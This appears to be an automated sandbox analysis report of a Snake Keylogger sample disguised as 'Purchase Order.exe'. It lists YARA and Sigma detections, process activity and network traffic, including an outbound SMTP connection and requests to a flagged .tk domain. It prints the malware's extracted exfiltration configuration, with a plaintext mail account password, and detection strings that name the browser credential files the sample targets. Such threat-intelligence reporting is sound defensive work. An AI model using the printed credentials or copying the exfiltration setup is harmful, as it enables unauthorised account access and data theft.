Edit tour

Windows Analysis Report
Purchase Order.exe

Overview

General Information

Sample name:	Purchase Order.exe
Analysis ID:	1420259
MD5:	b9f9c9cac777dca7a78819914da1ba15
SHA1:	2369adcf893a14e6b8351edeeb2b6b63147fd157
SHA256:	32aeea1990475960922b9a0bbda5a7edc864a3c70e4b8c5e84b16e269ea6fc7c
Tags:	exeSnakeKeylogger
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Snake Keylogger

.NET source code contains potential unpacker

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for sample

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Tries to load missing DLLs

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Purchase Order.exe (PID: 6576 cmdline: "C:\Users\user\Desktop\Purchase Order.exe" MD5: B9F9C9CAC777DCA7A78819914DA1BA15)

Purchase Order.exe (PID: 7048 cmdline: "C:\Users\user\Desktop\Purchase Order.exe" MD5: B9F9C9CAC777DCA7A78819914DA1BA15)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "tslogs@mksiimst.com", "Password": "EbxKZL@2", "Host": "us2.smtp.mailhostbox.com ", "Port": "587"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.4124971142.00000000034A5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14782:$a1: get_encryptedPassword 0x14a78:$a2: get_encryptedUsername 0x1458e:$a3: get_timePasswordChanged 0x14689:$a4: get_passwordField 0x14798:$a5: set_encryptedPassword 0x15d9b:$a7: get_logins 0x15cfe:$a10: KeyLoggerEventArgs 0x15997:$a11: KeyLoggerEventArgsEventHandler
00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x180c0:$x1: $%SMTPDV$ 0x18124:$x2: $#TheHashHere%& 0x1975f:$x3: %FTPDV$ 0x19853:$x4: $%TelegramDv$ 0x15997:$x5: KeyLoggerEventArgs 0x15cfe:$x5: KeyLoggerEventArgs 0x19783:$m2: Clipboard Logs ID 0x1994f:$m2: Screenshot Logs ID 0x19a1b:$m2: keystroke Logs ID 0x19927:$m4: \SnakeKeylogger\
00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xe1e0a:$a1: get_encryptedPassword 0x10262a:$a1: get_encryptedPassword 0x122c4a:$a1: get_encryptedPassword 0xe2100:$a2: get_encryptedUsername 0x102920:$a2: get_encryptedUsername 0x122f40:$a2: get_encryptedUsername 0xe1c16:$a3: get_timePasswordChanged 0x102436:$a3: get_timePasswordChanged 0x122a56:$a3: get_timePasswordChanged 0xe1d11:$a4: get_passwordField 0x102531:$a4: get_passwordField 0x122b51:$a4: get_passwordField 0xe1e20:$a5: set_encryptedPassword 0x102640:$a5: set_encryptedPassword 0x122c60:$a5: set_encryptedPassword 0xe3423:$a7: get_logins 0x103c43:$a7: get_logins 0x124263:$a7: get_logins 0xe3386:$a10: KeyLoggerEventArgs 0x103ba6:$a10: KeyLoggerEventArgs 0x1241c6:$a10: KeyLoggerEventArgs
00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xe5748:$x1: $%SMTPDV$ 0x105f68:$x1: $%SMTPDV$ 0x126588:$x1: $%SMTPDV$ 0xe57ac:$x2: $#TheHashHere%& 0x105fcc:$x2: $#TheHashHere%& 0x1265ec:$x2: $#TheHashHere%& 0xe6de7:$x3: %FTPDV$ 0x107607:$x3: %FTPDV$ 0x127c27:$x3: %FTPDV$ 0xe6edb:$x4: $%TelegramDv$ 0x1076fb:$x4: $%TelegramDv$ 0x127d1b:$x4: $%TelegramDv$ 0xe301f:$x5: KeyLoggerEventArgs 0xe3386:$x5: KeyLoggerEventArgs 0x10383f:$x5: KeyLoggerEventArgs 0x103ba6:$x5: KeyLoggerEventArgs 0x123e5f:$x5: KeyLoggerEventArgs 0x1241c6:$x5: KeyLoggerEventArgs 0xe6e0b:$m2: Clipboard Logs ID 0xe6fd7:$m2: Screenshot Logs ID 0xe70a3:$m2: keystroke Logs ID
00000002.00000002.4124971142.0000000003201000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: Purchase Order.exe PID: 6576	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Purchase Order.exe PID: 6576	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Purchase Order.exe PID: 6576	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: Purchase Order.exe PID: 6576	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x8f54c:$a1: get_encryptedPassword 0x8f838:$a2: get_encryptedUsername 0x8f362:$a3: get_timePasswordChanged 0x8f45d:$a4: get_passwordField 0x8f562:$a5: set_encryptedPassword 0x91aaa:$a7: get_logins 0x91a0d:$a10: KeyLoggerEventArgs 0x916a6:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: Purchase Order.exe PID: 6576	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x916a6:$x5: KeyLoggerEventArgs 0x91a0d:$x5: KeyLoggerEventArgs 0x922fb:$x5: KeyLoggerEventArgs 0x9262f:$x5: KeyLoggerEventArgs 0x93c2f:$m2: Clipboard Logs ID 0x93d0f:$m2: Screenshot Logs ID 0x93d43:$m2: keystroke Logs ID 0x93cfb:$m4: \SnakeKeylogger\
Process Memory Space: Purchase Order.exe PID: 7048	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Purchase Order.exe PID: 7048	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: Purchase Order.exe PID: 7048	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x44332:$a1: get_encryptedPassword 0x4461e:$a2: get_encryptedUsername 0x44148:$a3: get_timePasswordChanged 0x44243:$a4: get_passwordField 0x44348:$a5: set_encryptedPassword 0x46890:$a7: get_logins 0x467f3:$a10: KeyLoggerEventArgs 0x4648c:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: Purchase Order.exe PID: 7048	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x4648c:$x5: KeyLoggerEventArgs 0x467f3:$x5: KeyLoggerEventArgs 0x470e1:$x5: KeyLoggerEventArgs 0x47415:$x5: KeyLoggerEventArgs 0x48a15:$m2: Clipboard Logs ID 0x48af5:$m2: Screenshot Logs ID 0x48b29:$m2: keystroke Logs ID 0x48ae1:$m4: \SnakeKeylogger\
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Purchase Order.exe.456bca8.9.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Purchase Order.exe.456bca8.9.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Purchase Order.exe.456bca8.9.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12b82:$a1: get_encryptedPassword 0x12e78:$a2: get_encryptedUsername 0x1298e:$a3: get_timePasswordChanged 0x12a89:$a4: get_passwordField 0x12b98:$a5: set_encryptedPassword 0x1419b:$a7: get_logins 0x140fe:$a10: KeyLoggerEventArgs 0x13d97:$a11: KeyLoggerEventArgsEventHandler
0.2.Purchase Order.exe.456bca8.9.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a49b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x196cd:$a3: \Google\Chrome\User Data\Default\Login Data 0x19b00:$a4: \Orbitum\User Data\Default\Login Data 0x1ab3f:$a5: \Kometa\User Data\Default\Login Data
0.2.Purchase Order.exe.456bca8.9.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1372d:$s1: UnHook 0x13734:$s2: SetHook 0x1373c:$s3: CallNextHook 0x13749:$s4: _hook
0.2.Purchase Order.exe.456bca8.9.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x164c0:$x1: $%SMTPDV$ 0x16524:$x2: $#TheHashHere%& 0x17b5f:$x3: %FTPDV$ 0x17c53:$x4: $%TelegramDv$ 0x13d97:$x5: KeyLoggerEventArgs 0x140fe:$x5: KeyLoggerEventArgs 0x17b83:$m2: Clipboard Logs ID 0x17d4f:$m2: Screenshot Logs ID 0x17e1b:$m2: keystroke Logs ID 0x17d27:$m4: \SnakeKeylogger\
0.2.Purchase Order.exe.454b488.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Purchase Order.exe.454b488.7.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Purchase Order.exe.454b488.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12b82:$a1: get_encryptedPassword 0x12e78:$a2: get_encryptedUsername 0x1298e:$a3: get_timePasswordChanged 0x12a89:$a4: get_passwordField 0x12b98:$a5: set_encryptedPassword 0x1419b:$a7: get_logins 0x140fe:$a10: KeyLoggerEventArgs 0x13d97:$a11: KeyLoggerEventArgsEventHandler
0.2.Purchase Order.exe.454b488.7.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a49b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x196cd:$a3: \Google\Chrome\User Data\Default\Login Data 0x19b00:$a4: \Orbitum\User Data\Default\Login Data 0x1ab3f:$a5: \Kometa\User Data\Default\Login Data
0.2.Purchase Order.exe.454b488.7.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1372d:$s1: UnHook 0x13734:$s2: SetHook 0x1373c:$s3: CallNextHook 0x13749:$s4: _hook
0.2.Purchase Order.exe.454b488.7.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x164c0:$x1: $%SMTPDV$ 0x16524:$x2: $#TheHashHere%& 0x17b5f:$x3: %FTPDV$ 0x17c53:$x4: $%TelegramDv$ 0x13d97:$x5: KeyLoggerEventArgs 0x140fe:$x5: KeyLoggerEventArgs 0x17b83:$m2: Clipboard Logs ID 0x17d4f:$m2: Screenshot Logs ID 0x17e1b:$m2: keystroke Logs ID 0x17d27:$m4: \SnakeKeylogger\
2.2.Purchase Order.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Purchase Order.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.Purchase Order.exe.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.Purchase Order.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14982:$a1: get_encryptedPassword 0x14c78:$a2: get_encryptedUsername 0x1478e:$a3: get_timePasswordChanged 0x14889:$a4: get_passwordField 0x14998:$a5: set_encryptedPassword 0x15f9b:$a7: get_logins 0x15efe:$a10: KeyLoggerEventArgs 0x15b97:$a11: KeyLoggerEventArgsEventHandler
2.2.Purchase Order.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c29b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b4cd:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b900:$a4: \Orbitum\User Data\Default\Login Data 0x1c93f:$a5: \Kometa\User Data\Default\Login Data
2.2.Purchase Order.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1552d:$s1: UnHook 0x15534:$s2: SetHook 0x1553c:$s3: CallNextHook 0x15549:$s4: _hook
2.2.Purchase Order.exe.400000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x182c0:$x1: $%SMTPDV$ 0x18324:$x2: $#TheHashHere%& 0x1995f:$x3: %FTPDV$ 0x19a53:$x4: $%TelegramDv$ 0x15b97:$x5: KeyLoggerEventArgs 0x15efe:$x5: KeyLoggerEventArgs 0x19983:$m2: Clipboard Logs ID 0x19b4f:$m2: Screenshot Logs ID 0x19c1b:$m2: keystroke Logs ID 0x19b27:$m4: \SnakeKeylogger\
0.2.Purchase Order.exe.456bca8.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Purchase Order.exe.456bca8.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Purchase Order.exe.456bca8.9.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Purchase Order.exe.456bca8.9.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14982:$a1: get_encryptedPassword 0x34fa2:$a1: get_encryptedPassword 0x14c78:$a2: get_encryptedUsername 0x35298:$a2: get_encryptedUsername 0x1478e:$a3: get_timePasswordChanged 0x34dae:$a3: get_timePasswordChanged 0x14889:$a4: get_passwordField 0x34ea9:$a4: get_passwordField 0x14998:$a5: set_encryptedPassword 0x34fb8:$a5: set_encryptedPassword 0x15f9b:$a7: get_logins 0x365bb:$a7: get_logins 0x15efe:$a10: KeyLoggerEventArgs 0x3651e:$a10: KeyLoggerEventArgs 0x15b97:$a11: KeyLoggerEventArgsEventHandler 0x361b7:$a11: KeyLoggerEventArgsEventHandler
0.2.Purchase Order.exe.456bca8.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1552d:$s1: UnHook 0x35b4d:$s1: UnHook 0x15534:$s2: SetHook 0x35b54:$s2: SetHook 0x1553c:$s3: CallNextHook 0x35b5c:$s3: CallNextHook 0x15549:$s4: _hook 0x35b69:$s4: _hook
0.2.Purchase Order.exe.456bca8.9.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x182c0:$x1: $%SMTPDV$ 0x388e0:$x1: $%SMTPDV$ 0x18324:$x2: $#TheHashHere%& 0x38944:$x2: $#TheHashHere%& 0x1995f:$x3: %FTPDV$ 0x39f7f:$x3: %FTPDV$ 0x19a53:$x4: $%TelegramDv$ 0x3a073:$x4: $%TelegramDv$ 0x15b97:$x5: KeyLoggerEventArgs 0x15efe:$x5: KeyLoggerEventArgs 0x361b7:$x5: KeyLoggerEventArgs 0x3651e:$x5: KeyLoggerEventArgs 0x19983:$m2: Clipboard Logs ID 0x19b4f:$m2: Screenshot Logs ID 0x19c1b:$m2: keystroke Logs ID 0x39fa3:$m2: Clipboard Logs ID 0x3a16f:$m2: Screenshot Logs ID 0x3a23b:$m2: keystroke Logs ID 0x19b27:$m4: \SnakeKeylogger\ 0x3a147:$m4: \SnakeKeylogger\
0.2.Purchase Order.exe.454b488.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Purchase Order.exe.454b488.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Purchase Order.exe.454b488.7.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Purchase Order.exe.454b488.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14982:$a1: get_encryptedPassword 0x351a2:$a1: get_encryptedPassword 0x557c2:$a1: get_encryptedPassword 0x14c78:$a2: get_encryptedUsername 0x35498:$a2: get_encryptedUsername 0x55ab8:$a2: get_encryptedUsername 0x1478e:$a3: get_timePasswordChanged 0x34fae:$a3: get_timePasswordChanged 0x555ce:$a3: get_timePasswordChanged 0x14889:$a4: get_passwordField 0x350a9:$a4: get_passwordField 0x556c9:$a4: get_passwordField 0x14998:$a5: set_encryptedPassword 0x351b8:$a5: set_encryptedPassword 0x557d8:$a5: set_encryptedPassword 0x15f9b:$a7: get_logins 0x367bb:$a7: get_logins 0x56ddb:$a7: get_logins 0x15efe:$a10: KeyLoggerEventArgs 0x3671e:$a10: KeyLoggerEventArgs 0x56d3e:$a10: KeyLoggerEventArgs
0.2.Purchase Order.exe.454b488.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1552d:$s1: UnHook 0x35d4d:$s1: UnHook 0x5636d:$s1: UnHook 0x15534:$s2: SetHook 0x35d54:$s2: SetHook 0x56374:$s2: SetHook 0x1553c:$s3: CallNextHook 0x35d5c:$s3: CallNextHook 0x5637c:$s3: CallNextHook 0x15549:$s4: _hook 0x35d69:$s4: _hook 0x56389:$s4: _hook
0.2.Purchase Order.exe.454b488.7.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x182c0:$x1: $%SMTPDV$ 0x38ae0:$x1: $%SMTPDV$ 0x59100:$x1: $%SMTPDV$ 0x18324:$x2: $#TheHashHere%& 0x38b44:$x2: $#TheHashHere%& 0x59164:$x2: $#TheHashHere%& 0x1995f:$x3: %FTPDV$ 0x3a17f:$x3: %FTPDV$ 0x5a79f:$x3: %FTPDV$ 0x19a53:$x4: $%TelegramDv$ 0x3a273:$x4: $%TelegramDv$ 0x5a893:$x4: $%TelegramDv$ 0x15b97:$x5: KeyLoggerEventArgs 0x15efe:$x5: KeyLoggerEventArgs 0x363b7:$x5: KeyLoggerEventArgs 0x3671e:$x5: KeyLoggerEventArgs 0x569d7:$x5: KeyLoggerEventArgs 0x56d3e:$x5: KeyLoggerEventArgs 0x19983:$m2: Clipboard Logs ID 0x19b4f:$m2: Screenshot Logs ID 0x19c1b:$m2: keystroke Logs ID
Click to see the 26 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 208.91.199.224, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Purchase Order.exe, Initiated: true, ProcessId: 7048, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49756

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Purchase Order.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://scratchdreams.tk/_send_.php?TS	Avira URL Cloud: Label: malware
Source: http://scratchdreams.tk	Avira URL Cloud: Label: malware
Source: https://scratchdreams.tk	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000002.00000002.4124971142.0000000003201000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "tslogs@mksiimst.com", "Password": "EbxKZL@2", "Host": "us2.smtp.mailhostbox.com ", "Port": "587"}

Multi AV Scanner detection for submitted file

Source: Purchase Order.exe

ReversingLabs: Detection: 23%

Machine Learning detection for sample

Source: Purchase Order.exe

Joe Sandbox ML: detected

Source: Purchase Order.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.4:49736 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 104.21.27.85:443 -> 192.168.2.4:49750 version: TLS 1.2

Source: Purchase Order.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: cJZX.pdb source: Purchase Order.exe
Source:	Binary string: cJZX.pdbSHA256 source: Purchase Order.exe

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 0166FCD1h	2_2_0166FA10
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 0166EFDDh	2_2_0166EDF0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 0166F967h	2_2_0166EDF0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_0166E310
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBD869h	2_2_05DBD5C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DB1011h	2_2_05DB0D60
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBCFB9h	2_2_05DBCD10
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DB15D8h	2_2_05DB1506
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DB0751h	2_2_05DB04A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBC709h	2_2_05DBC460
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBF6D1h	2_2_05DBF428
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBF279h	2_2_05DBEFD0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBBA01h	2_2_05DBB758
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBE9C9h	2_2_05DBE720
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBE119h	2_2_05DBDE70
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DB15D8h	2_2_05DB11C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DB15D8h	2_2_05DB11B1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBD411h	2_2_05DBD168
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DB0BB1h	2_2_05DB0900
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBFB29h	2_2_05DBF880
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBCB61h	2_2_05DBC8B8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DB02F1h	2_2_05DB0040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBC2B1h	2_2_05DBC008
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBBE59h	2_2_05DBBBB0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBEE21h	2_2_05DBEB78
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBB5A9h	2_2_05DBB300
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBE571h	2_2_05DBE2C8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 05DBDCC1h	2_2_05DBDA18
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E98945h	2_2_06E98608
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E96171h	2_2_06E95EC8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_06E936CE
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E95D19h	2_2_06E95A70
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E958C1h	2_2_06E95618
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E96E79h	2_2_06E96BD0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_06E933A8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_06E933B8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E96A21h	2_2_06E96778
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E965C9h	2_2_06E96320
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E90B99h	2_2_06E908F0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E97751h	2_2_06E974A8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E90741h	2_2_06E90498
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E902E9h	2_2_06E90040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E972FAh	2_2_06E97050
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E98459h	2_2_06E981B0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E95441h	2_2_06E95198
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E90FF1h	2_2_06E90D48
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E98001h	2_2_06E97D58
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 06E97BA9h	2_2_06E97900

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 2.2.Purchase Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.4:49756 -> 208.91.199.224:587

Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.org
